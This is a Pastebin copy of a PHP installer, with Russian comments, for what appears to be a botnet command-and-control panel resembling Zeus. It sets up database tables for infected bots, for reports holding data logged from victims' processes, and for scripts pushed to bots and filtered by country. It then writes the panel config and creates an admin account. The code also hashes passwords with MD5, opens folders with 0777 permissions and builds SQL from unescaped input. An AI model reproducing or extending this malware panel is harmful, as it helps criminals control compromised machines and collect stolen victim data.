Guest User

Untitled

a guest
Nov 25th, 2017
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.87 KB | None | 0 0
  1. <?php define('__INSTALL__', 1);
  2. require_once('../system/global.php');
  3.  
  4. ///////////////////////////////////////////////////////////////////////////////////////////////////
  5. // Константы.
  6. ///////////////////////////////////////////////////////////////////////////////////////////////////
  7.  
  8. //Файлы.
  9. define('FILE_GEOBASE', 'geobase.txt'); //Геобаза
  10. define('FILE_CONFIG', '../system/config.php'); //Конфиг.
  11.  
  12. //Заголовок
  13. define('APP_TITLE', 'Control Panel '.BO_CLIENT_VERSION.' Installer');
  14.  
  15. //Параметры диалога.
  16. define('DIALOG_WIDTH', '350px'); //Ширина диалога.
  17. define('DIALOG_INPUT_WIDTH', '150px'); //Ширина <input>.
  18.  
  19. //Подключение темы.
  20. define('THEME_PATH', '../theme');
  21. require_once(THEME_PATH.'/index.php');
  22.  
  23. ///////////////////////////////////////////////////////////////////////////////////////////////////
  24. // Список таблиц.
  25. ///////////////////////////////////////////////////////////////////////////////////////////////////
  26.  
  27. //Список ботов
  28. $_TABLES['botnet_list'] =
  29. "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '' UNIQUE, ". //ID бота.
  30. "`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
  31. "`bot_version` int unsigned NOT NULL default '0', ". //Версия бота.
  32.  
  33. "`net_latency` int unsigned NOT NULL default '0', ". //Лаг соединения.
  34. "`tcpport_s1` smallint unsigned NOT NULL default '0', ". //TCP порт S1.
  35.  
  36. "`time_localbias` int signed NOT NULL default '0', ". //Оффсет локального времени в секундах.
  37. "`os_version` tinyblob NOT NULL, ". //Данные об OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType).
  38. "`language_id` smallint unsigned NOT NULL default '0', ". //ID языка OS.
  39.  
  40. "`ipv4_list` blob NOT NULL, ". //Список IPv4 адресов.
  41. "`ipv6_list` blob NOT NULL, ". //Список IPv6 адресов.
  42. "`ipv4` varbinary(4) NOT NULL default '\\0\\0\\0\\0', ". //IPv4
  43. "`country` varchar(2) NOT NULL default '--', ". //Страна.
  44.  
  45. "`rtime_first` int unsigned NOT NULL default '0', ". //Время первого отчета об онлайне.
  46. "`rtime_last` int unsigned NOT NULL default '0', ". //Время последнего отчета об онлайне.
  47. "`rtime_online` int unsigned NOT NULL default '0', ". //Время, c которого бот находиться в онлайне.
  48.  
  49. "`flag_new` bool NOT NULL default '1', ". //Флаг "Инсталла".
  50. "`flag_used` bool NOT NULL default '0', ". //Флаг "Использован".
  51.  
  52. "`comment` tinytext NOT NULL"; //Комментарии к боту.
  53.  
  54. //Шаблон отчетов.
  55. $_TABLES['botnet_reports'] =
  56. "`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ".
  57. "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
  58. "`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
  59. "`bot_version` int unsigned NOT NULL default '0', ". //Версия бота.
  60.  
  61. "`path_source` text NOT NULL, ". //Исходный путь лога.
  62. "`path_dest` text NOT NULL, ". //Конечный путь лога.
  63.  
  64. "`time_system` int unsigned NOT NULL default '0', ". //Оффсет локального времени в секундах.
  65. "`time_tick` int unsigned NOT NULL default '0', ". //Оффсет локального времени в мс.
  66. "`time_localbias` int NOT NULL default '0', ". //Оффсет локального времени в секундах.
  67.  
  68. "`os_version` tinyblob NOT NULL, ". //Данные об OS (OSINFO).
  69. "`language_id` smallint unsigned NOT NULL default '0', ". //ID языка OS.
  70.  
  71. "`process_name` text NOT NULL, ". //Имя процесса.
  72. "`process_user` text NOT NULL, ". //Имя юзера процесса.
  73.  
  74. "`type` int unsigned NOT NULL default '0', ". //Тип лога.
  75. "`context` longtext NOT NULL, ". //Содержимое лога.
  76.  
  77. "`ipv4` varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4
  78. "`country` varchar(2) NOT NULL default '--', ". //Страна.
  79. "`rtime` int unsigned NOT NULL default '0'"; //Время отчета.
  80.  
  81. //База IPv4 to Country.
  82. $_TABLES['ipv4toc'] =
  83. "`l` int unsigned NOT NULL default '0', ". //Нижний IP.
  84. "`h` int unsigned NOT NULL default '0', ". //Верхний IP.
  85. "`c` varbinary(2) NOT NULL default '--'"; //Страна.
  86.  
  87. //Список пользователей.
  88. $_TABLES['cp_users'] =
  89. "`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ".
  90. "`name` varchar(20) NOT NULL default '' UNIQUE, ". //Имя.
  91. "`pass` varchar(32) NOT NULL default '', ". //Пароль.
  92. "`language` varbinary(2) NOT NULL default 'en', ". //Язык пользователя.
  93. "`flag_enabled` bool NOT NULL default '1', ". //Флаг включенного пользователя
  94. "`comment` tinytext NOT NULL, ". //Комментарии.
  95.  
  96. //Различные настройки.
  97. "`ss_format` varbinary(10) NOT NULL default 'jpeg', ". //Формат скриншотов.
  98. "`ss_quality` tinyint unsigned NOT NULL default '30', ". //Качество скриншота.
  99.  
  100. //Права.
  101. "`r_edit_bots` bool NOT NULL default '1', ".
  102.  
  103. "`r_stats_main` bool NOT NULL default '1', ".
  104. "`r_stats_main_reset` bool NOT NULL default '1', ".
  105. "`r_stats_os` bool NOT NULL default '1', ".
  106.  
  107. "`r_botnet_bots` bool NOT NULL default '1', ".
  108. "`r_botnet_scripts` bool NOT NULL default '1', ".
  109. "`r_botnet_scripts_edit` bool NOT NULL default '1', ".
  110.  
  111. "`r_reports_db` bool NOT NULL default '1', ".
  112. "`r_reports_db_edit` bool NOT NULL default '1', ".
  113. "`r_reports_files` bool NOT NULL default '1', ".
  114. "`r_reports_files_edit` bool NOT NULL default '1', ".
  115. /*EVAL_BEGIN*/if(configBool('jabber_notifier'))return
  116. "\"`r_reports_jn` bool NOT NULL default '1', \".";
  117. /*EVAL_END*/
  118.  
  119. "`r_system_info` bool NOT NULL default '1', ".
  120. "`r_system_options` bool NOT NULL default '1', ".
  121. "`r_system_user` bool NOT NULL default '1', ".
  122. "`r_system_users` bool NOT NULL default '1'";
  123.  
  124. //Скрипты ботам.
  125. $_TABLES['botnet_scripts'] =
  126. "`id` int unsigned NOT NULL auto_increment PRIMARY KEY,".
  127. "`extern_id` varbinary(16) NOT NULL default '0', ". //Внешний ID.
  128. "`name` varchar(255) NOT NULL default '', ". //Название группы.
  129. "`flag_enabled` bool NOT NULL default '0', ". //Скрипт активна.
  130. "`time_created` int unsigned NOT NULL default '0', ". //Время создания скрипта.
  131. "`send_limit` int unsigned NOT NULL default '0', ". //Лимит ботов.
  132.  
  133. "`bots_wl` text NOT NULL, ". //Список ботов, для которых нужно испольнять скрипт.
  134. "`bots_bl` text NOT NULL, ". //Список ботов, для которых не нужно испольнять скрипт.
  135. "`botnets_wl` text NOT NULL, ". //Список ботнетов, для которых нужно испольнять скрипт.
  136. "`botnets_bl` text NOT NULL, ". //Список ботнетов, для которых не нужно испольнять скрипт.
  137. "`countries_wl` text NOT NULL, ". //Список стран, для которых нужно испольнить скрипт.
  138. "`countries_bl` text NOT NULL, ". //Список стран, для которых не нужно исполнять скрипт.
  139.  
  140. "`script_text` text NOT NULL, ". //Текстовое представление команд в группе.
  141. "`script_bin` blob NOT NULL"; //Бинарное представление команд в группе.
  142.  
  143. //Статистика скриптов по ботам.
  144. $_TABLES['botnet_scripts_stat'] =
  145. "`extern_id` varbinary(16) NOT NULL, ". //Внешний ID.
  146. "`type` tinyint unsigned NOT NULL default '0', ". //Типа записи. 1 - отпралвен, 2 - исполнен, 3 - ошибка.
  147. "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
  148. "`bot_version` int unsigned NOT NULL default '0', ". //Версия бота.
  149. "`rtime` int unsigned NOT NULL default '0', ". //Время отчета.
  150. "`report` text NOT NULL, ". //Текстовый отчет бота о выполнении сценария.
  151. "UNIQUE(`extern_id`, `bot_id`, `type`)";
  152.  
  153. ///////////////////////////////////////////////////////////////////////////////////////////////////
  154. // Значения по умолчанию.
  155. ///////////////////////////////////////////////////////////////////////////////////////////////////
  156.  
  157. $pd_user = 'admin';
  158. $pd_pass = '';
  159.  
  160. $pd_mysql_host = '127.0.0.1';
  161. $pd_mysql_user = 'root';
  162. $pd_mysql_pass = '';
  163. $pd_mysql_db = 'cpdb';
  164.  
  165. $pd_reports_path = '_reports';
  166. $pd_reports_to_db = 1;
  167. $pd_reports_to_fs = 0;
  168.  
  169. $pd_botnet_timeout = 25;
  170. $pd_botnet_cryptkey = '';
  171.  
  172. $_OUTPUT = '';
  173.  
  174. ///////////////////////////////////////////////////////////////////////////////////////////////////
  175. // Функции.
  176. ///////////////////////////////////////////////////////////////////////////////////////////////////
  177.  
  178. //Отображение ошибки.
  179. function ShowError($text)
  180. {
  181. global $_OUTPUT;
  182. $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '&#8226; ERROR:'.$text, THEME_DIALOG_ITEM_ERROR).THEME_DIALOG_ROW_END;
  183. }
  184.  
  185. //Отображение процесса.
  186. function ShowProgress($text)
  187. {
  188. global $_OUTPUT;
  189. $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '&#8226; '.$text, THEME_DIALOG_ITEM_SUCCESSED).THEME_DIALOG_ROW_END;
  190. }
  191.  
  192. //Создание таблицы.
  193. function CreateTable($name)
  194. {
  195. global $_TABLES;
  196.  
  197. ShowProgress("Creating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
  198. if(!@mysql_query("DROP TABLE IF EXISTS `{$name}`") || !@mysql_query("CREATE TABLE `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
  199. {
  200. ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
  201. return false;
  202. }
  203.  
  204. return true;
  205. }
  206.  
  207. //Обнавление таблицы.
  208. function UpdateTable($name)
  209. {
  210. global $_TABLES;
  211.  
  212. ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
  213. if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
  214. {
  215. ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
  216. return false;
  217. }
  218.  
  219. //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
  220.  
  221. //Обнавляем на удачу.
  222. $list = explode(',', $_TABLES[$name]);
  223. foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}");
  224.  
  225. return true;
  226. }
  227.  
  228. //Обнавление таблицы по данным другой таблицы.
  229. function UpdateTableEx($name, $real_name)
  230. {
  231. global $_TABLES;
  232.  
  233. ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
  234. if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$real_name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
  235. {
  236. ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
  237. return false;
  238. }
  239.  
  240. //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
  241.  
  242. //Обнавляем на удачу.
  243. $list = explode(',', $_TABLES[$real_name]);
  244. foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}");
  245.  
  246. return true;
  247. }
  248.  
  249. //Добавление строки в таблицу
  250. function AddRowToTable($name, $query)
  251. {
  252. if(!mysqlQueryEx($name, "INSERT INTO `{$name}` SET {$query}"))
  253. {
  254. ShowError("Failed to write row to table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.": %s".htmlEntitiesEx(mysql_error()));
  255. return false;
  256. }
  257. return true;
  258. }
  259.  
  260. //Создание пути.
  261. function CreatePath($new_dir, $old_dir)
  262. {
  263. $dir_r = '../'.$new_dir;
  264.  
  265. if($old_dir != 0 && $old_dir != $new_dir && file_exists('../'.$old_dir))
  266. {
  267. ShowProgress("Renaming folder ".THEME_STRING_BOLD_BEGIN."'{$old_dir}'".THEME_STRING_BOLD_END." to ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
  268. if(!is_dir($dir_r) && !@rename('../'.$old_dir, $dir_r))
  269. {
  270. ShowError("Failed to rename folder.");
  271. return false;
  272. }
  273.  
  274. @chmod($dir_r, 0777);
  275. }
  276. else
  277. {
  278. ShowProgress("Creating folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
  279. if(!is_dir($dir_r) && !@mkdir($dir_r, 0777))
  280. {
  281. ShowError("Failed to create folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
  282. return false;
  283. }
  284. }
  285. return true;
  286. }
  287.  
  288. //Выбор режим работы.
  289. $is_update = file_exists(FILE_CONFIG);
  290.  
  291. ///////////////////////////////////////////////////////////////////////////////////////////////////
  292. // Процесс утсановки/обнавления.
  293. ///////////////////////////////////////////////////////////////////////////////////////////////////
  294. if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0)
  295. {
  296. $error = false;
  297. $_OUTPUT = str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
  298. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, 'Installation steps:'), THEME_DIALOG_TITLE);
  299.  
  300. //Получение Пост-данных.
  301. if($is_update)
  302. {
  303. if(!@include_once(FILE_CONFIG))
  304. {
  305. ShowError("Failed to open file '".FILE_CONFIG."'.");
  306. $error = true;
  307. }
  308. else
  309. {
  310. if(isset($config['reports_path']))$pd_reports_path = $config['reports_path'];
  311. if(isset($config['reports_to_db']))$pd_reports_to_db = $config['reports_to_db'] ? 1 : 0;
  312. if(isset($config['reports_to_fs']))$pd_reports_to_fs = $config['reports_to_fs'] ? 1 : 0;
  313. if(isset($config['botnet_timeout']))$pd_botnet_timeout = (int)($config['botnet_timeout'] / 60);
  314. if(isset($config['botnet_cryptkey']))$pd_botnet_cryptkey = $config['botnet_cryptkey'];
  315.  
  316. $pd_mysql_host = isset($config['mysql_host']) ? $config['mysql_host'] : NULL;
  317. $pd_mysql_user = isset($config['mysql_user']) ? $config['mysql_user'] : NULL;
  318. $pd_mysql_pass = isset($config['mysql_pass']) ? $config['mysql_pass'] : NULL;
  319. $pd_mysql_db = isset($config['mysql_db']) ? $config['mysql_db'] : NULL;
  320. }
  321. }
  322. else
  323. {
  324. $pd_user = checkPostData('user', 1, 20);
  325. $pd_pass = checkPostData('pass', 6, 64);
  326.  
  327. $pd_reports_path = checkPostData('path_reports', 1, 256);
  328. $pd_reports_to_db = (isset($_POST['reports_to_db']));// && $_POST['reports_to_db'] == 1);
  329. $pd_reports_to_fs = (isset($_POST['reports_to_fs']));// && $_POST['reports_to_fs'] == 1);
  330. $pd_botnet_timeout = checkPostData('botnet_timeout', 1, 4);
  331. $pd_botnet_cryptkey = checkPostData('botnet_cryptkey', 1, 256);
  332.  
  333. $pd_mysql_host = checkPostData('mysql_host', 1, 256);
  334. $pd_mysql_user = checkPostData('mysql_user', 1, 256);
  335. $pd_mysql_pass = checkPostData('mysql_pass', 0, 256);
  336. $pd_mysql_db = checkPostData('mysql_db', 1, 256);
  337. }
  338.  
  339. $pd_reports_path = trim(str_replace('\\', '/', trim($pd_reports_path)), '/');
  340.  
  341. //Обработка ошибок.
  342. if(!$error)
  343. {
  344. if(!$is_update && ($pd_user === NULL || $pd_pass === NULL))
  345. {
  346. ShowError('Bad format of login data.');
  347. $error = true;
  348. }
  349. if($pd_mysql_host === NULL || $pd_mysql_user === NULL || $pd_mysql_db === NULL)
  350. {
  351. ShowError('Bad format of MySQL server data.');
  352. $error = true;
  353. }
  354. if($pd_reports_path === NULL)
  355. {
  356. ShowError('Bad format of reports path.');
  357. $error = true;
  358. }
  359. if(!is_numeric($pd_botnet_timeout) || $pd_botnet_timeout < 1)
  360. {
  361. ShowError('Bot online timeout have bad value.');
  362. $error = true;
  363. }
  364. if($pd_botnet_cryptkey === NULL)
  365. {
  366. ShowError('Bad format of encryption key.');
  367. $error = true;
  368. }
  369. }
  370.  
  371. //Подключение к базе.
  372. if(!$error)
  373. {
  374. ShowProgress("Connecting to MySQL as ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_user}'".THEME_STRING_BOLD_END.".");
  375. if(!@mysql_connect($pd_mysql_host, $pd_mysql_user, $pd_mysql_pass) || !@mysql_query('SET NAMES \''.MYSQL_CODEPAGE.'\' COLLATE \''.MYSQL_COLLATE.'\''))
  376. {
  377. ShowError("Failed connect to MySQL server: ".htmlEntitiesEx(mysql_error()));
  378. $error = true;
  379. }
  380. }
  381.  
  382. //Выбор таблицы.
  383. if(!$error)
  384. {
  385. $db = addslashes($pd_mysql_db);
  386. ShowProgress("Selecting DB ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_db}'".THEME_STRING_BOLD_END.".");
  387.  
  388. if(!@mysql_query("CREATE DATABASE IF NOT EXISTS `{$db}`"))
  389. {
  390. ShowError("Failed to create database: ".htmlEntitiesEx(mysql_error()));
  391. $error = true;
  392. }
  393. else if(!@mysql_select_db($pd_mysql_db))
  394. {
  395. ShowError("Failed to select database: ".htmlEntitiesEx(mysql_error()));
  396. $error = true;
  397. }
  398.  
  399. @mysql_query("ALTER DATABASE `{$db}` CHARACTER SET ".MYSQL_CODEPAGE." COLLATE ".MYSQL_COLLATE);
  400. }
  401.  
  402. //Обрабатываем таблицы.
  403. if(!$error)foreach($_TABLES as $table => $v)
  404. {
  405. //Заполнение таблицы ipv4toc.
  406. if(strcmp($table, 'ipv4toc') == 0)
  407. {
  408. if(($error = !CreateTable($table)))break;
  409. ShowProgress("Filling table ".THEME_STRING_BOLD_BEGIN."'{$table}'".THEME_STRING_BOLD_END.".");
  410.  
  411. if(($list = @file(FILE_GEOBASE)) === false)
  412. {
  413. ShowError("Failed to open file '".FILE_GEOBASE."'.");
  414. $error = true;
  415. }
  416. else
  417. {
  418. foreach($list as $item)
  419. {
  420. $cn = explode("\0", $item, 3);
  421. if(($error = !AddRowToTable($table, "l='{$cn[0]}', h='{$cn[1]}', c='".substr(trim($cn[2]), 0, 2)."'")))break;
  422. }
  423. unset($list);
  424. }
  425. }
  426. //Обновляем старые таблицы отчетов.
  427. else if(strcmp($table, 'botnet_reports') == 0)
  428. {
  429. if(($error = !CreateTable($table)))break;
  430. $rlist = listReportTables($pd_mysql_db);
  431. foreach($rlist as $rtable)if(($error = !UpdateTableEx($rtable, 'botnet_reports')))break;
  432. }
  433. else $error = !($is_update ? UpdateTable($table) : CreateTable($table));
  434.  
  435. if($error)break;
  436. }
  437.  
  438. //Создание директории для отчетов.
  439. if(!$error)$error = !CreatePath($pd_reports_path, isset($config['reports_path']) ? $config['reports_path'] : 0);
  440.  
  441. //Обновление файла конфигурации.
  442. if(!$error)
  443. {
  444. ShowProgress("Writing config file");
  445.  
  446. $updateList['mysql_host'] = $pd_mysql_host;
  447. $updateList['mysql_user'] = $pd_mysql_user;
  448. $updateList['mysql_pass'] = $pd_mysql_pass;
  449. $updateList['mysql_db'] = $pd_mysql_db;
  450. $updateList['reports_path'] = $pd_reports_path;
  451. $updateList['reports_to_db'] = $pd_reports_to_db ? 1 : 0;
  452. $updateList['reports_to_fs'] = $pd_reports_to_fs ? 1 : 0;
  453. $updateList['botnet_timeout'] = ((int)($pd_botnet_timeout * 60));
  454. $updateList['botnet_cryptkey'] = $pd_botnet_cryptkey;
  455.  
  456. if(!updateConfig($updateList))
  457. {
  458. ShowError("Failed write to config file.");
  459. $error = true;
  460. }
  461. }
  462.  
  463. //Добавление пользователя в базу.
  464. if(!$error && !$is_update)
  465. {
  466. ShowProgress("Adding user ".THEME_STRING_BOLD_BEGIN."'{$pd_user}'".THEME_STRING_BOLD_END.".");
  467. $error = !AddRowToTable('cp_users', "name='".addslashes($pd_user)."', pass='".md5($pd_pass)."', comment='Default user'");
  468. }
  469.  
  470. //Выставляем прозрачно права на каталог для временных файлов.
  471. @chmod('../tmp', 0777);
  472.  
  473. //Успешное завершение.
  474. if(!$error)
  475. {
  476. $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.
  477. str_replace('{TEXT}', THEME_STRING_BOLD_BEGIN.($is_update ? '-- Update complete! --' : '-- Installation complete! --').THEME_STRING_BOLD_END, THEME_DIALOG_ITEM_SUCCESSED).
  478. THEME_DIALOG_ROW_END;
  479. themeSmall(APP_TITLE, $_OUTPUT.THEME_DIALOG_END, 0, 0, 0);
  480. die();
  481. }
  482. $_OUTPUT .= THEME_DIALOG_END.THEME_VSPACE;
  483. }
  484.  
  485. ///////////////////////////////////////////////////////////////////////////////////////////////////
  486. // Основной диалог.
  487. ///////////////////////////////////////////////////////////////////////////////////////////////////
  488.  
  489. if($is_update)
  490. {
  491. @include_once(FILE_CONFIG);
  492. if(isset($config['mysql_db']))$pd_mysql_db = $config['mysql_db'];
  493. }
  494.  
  495. if($is_update)$help = "This application update/repair and reconfigure your control panel on this server. If you want make new installation, please remove file '".FILE_CONFIG."'.";
  496. else $help = "This application install and configure your control panel on this server. Please type settings and press 'Install'.";
  497.  
  498. $_FORMITEMS = '';
  499.  
  500. //Данные юзера.
  501. if(!$is_update)
  502. {
  503. $_FORMITEMS .=
  504. THEME_DIALOG_ROW_BEGIN.
  505. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  506. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Root user:'), THEME_DIALOG_GROUP_TITLE).
  507. THEME_DIALOG_ROW_BEGIN.
  508. str_replace('{TEXT}', 'User name: (1-20 chars):', THEME_DIALOG_ITEM_TEXT).
  509. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_user), 'user', '20', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  510. THEME_DIALOG_ROW_END.
  511. THEME_DIALOG_ROW_BEGIN.
  512. str_replace('{TEXT}', 'Password (6-64 chars):', THEME_DIALOG_ITEM_TEXT).
  513. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_pass), 'pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  514. THEME_DIALOG_ROW_END.
  515. THEME_DIALOG_GROUP_END.
  516. THEME_DIALOG_ROW_END;
  517. }
  518.  
  519. //База данных.
  520. $_FORMITEMS .=
  521. THEME_DIALOG_ROW_BEGIN.
  522. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  523. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'MySQL server:'), THEME_DIALOG_GROUP_TITLE);
  524.  
  525. if(!$is_update)
  526. {
  527. $_FORMITEMS .=
  528. THEME_DIALOG_ROW_BEGIN.
  529. str_replace('{TEXT}', 'Host:', THEME_DIALOG_ITEM_TEXT).
  530. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_host), 'mysql_host', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  531. THEME_DIALOG_ROW_END.
  532. THEME_DIALOG_ROW_BEGIN.
  533. str_replace('{TEXT}', 'User:', THEME_DIALOG_ITEM_TEXT).
  534. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_user), 'mysql_user', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  535. THEME_DIALOG_ROW_END.
  536. THEME_DIALOG_ROW_BEGIN.
  537. str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT).
  538. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_pass), 'mysql_pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  539. THEME_DIALOG_ROW_END;
  540. }
  541.  
  542. $_FORMITEMS .=
  543. THEME_DIALOG_ROW_BEGIN.
  544. str_replace('{TEXT}', 'Database:', THEME_DIALOG_ITEM_TEXT).
  545. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_db), 'mysql_db', '64', DIALOG_INPUT_WIDTH), $is_update ? THEME_DIALOG_ITEM_INPUT_TEXT_RO : THEME_DIALOG_ITEM_INPUT_TEXT).
  546. THEME_DIALOG_ROW_END.
  547. THEME_DIALOG_GROUP_END.
  548. THEME_DIALOG_ROW_END;
  549.  
  550. //Локальные пути.
  551. if(!$is_update)
  552. {
  553. $_FORMITEMS .=
  554. THEME_DIALOG_ROW_BEGIN.
  555. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  556. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Local folders:'), THEME_DIALOG_GROUP_TITLE).
  557. THEME_DIALOG_ROW_BEGIN.
  558. str_replace('{TEXT}', 'Reports:', THEME_DIALOG_ITEM_TEXT).
  559. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_reports_path), 'path_reports', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  560. THEME_DIALOG_ROW_END.
  561. THEME_DIALOG_GROUP_END.
  562. THEME_DIALOG_ROW_END;
  563. }
  564.  
  565. //Опции.
  566. if(!$is_update)
  567. {
  568. $_FORMITEMS .=
  569. THEME_DIALOG_ROW_BEGIN.
  570. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  571. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Options:'), THEME_DIALOG_GROUP_TITLE).
  572. THEME_DIALOG_ROW_BEGIN.
  573. str_replace('{TEXT}', 'Online bot timeout:', THEME_DIALOG_ITEM_TEXT).
  574. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_timeout), 'botnet_timeout', '4', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  575. THEME_DIALOG_ROW_END.
  576. THEME_DIALOG_ROW_BEGIN.
  577. str_replace('{TEXT}', 'Encryption key (1-255 chars):', THEME_DIALOG_ITEM_TEXT).
  578. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_cryptkey), 'botnet_cryptkey', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  579. THEME_DIALOG_ROW_END.
  580. THEME_DIALOG_ROW_BEGIN.
  581. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  582. THEME_DIALOG_ROW_BEGIN.
  583. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_db', '', 'Enable write reports to database.'), $pd_reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
  584. THEME_DIALOG_ROW_END.
  585. THEME_DIALOG_ROW_BEGIN.
  586. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_fs', '', 'Enable write reports to local path.'), $pd_reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
  587. THEME_DIALOG_ROW_END.
  588. THEME_DIALOG_GROUP_END.
  589. THEME_DIALOG_ROW_END.
  590. THEME_DIALOG_GROUP_END.
  591. THEME_DIALOG_ROW_END;
  592. }
  593.  
  594. //Форма.
  595. $_OUTPUT .=
  596. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('idata', basename($_SERVER['PHP_SELF']), ''), THEME_FORMPOST_BEGIN).
  597. str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
  598. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, APP_TITLE), THEME_DIALOG_TITLE).
  599. THEME_DIALOG_ROW_BEGIN.
  600. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  601. THEME_DIALOG_ROW_BEGIN.
  602. str_replace('{TEXT}', $help, THEME_DIALOG_ITEM_WRAPTEXT).
  603. THEME_DIALOG_ROW_END.
  604. THEME_DIALOG_GROUP_END.
  605. THEME_DIALOG_ROW_END.
  606. $_FORMITEMS.
  607. str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
  608. str_replace(array('{TEXT}', '{JS_EVENTS}'), array(($is_update ? '-- Update --' : '-- Install --'), ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
  609. THEME_DIALOG_ACTIONLIST_END.
  610. THEME_DIALOG_END.
  611. THEME_FORMPOST_END;
  612.  
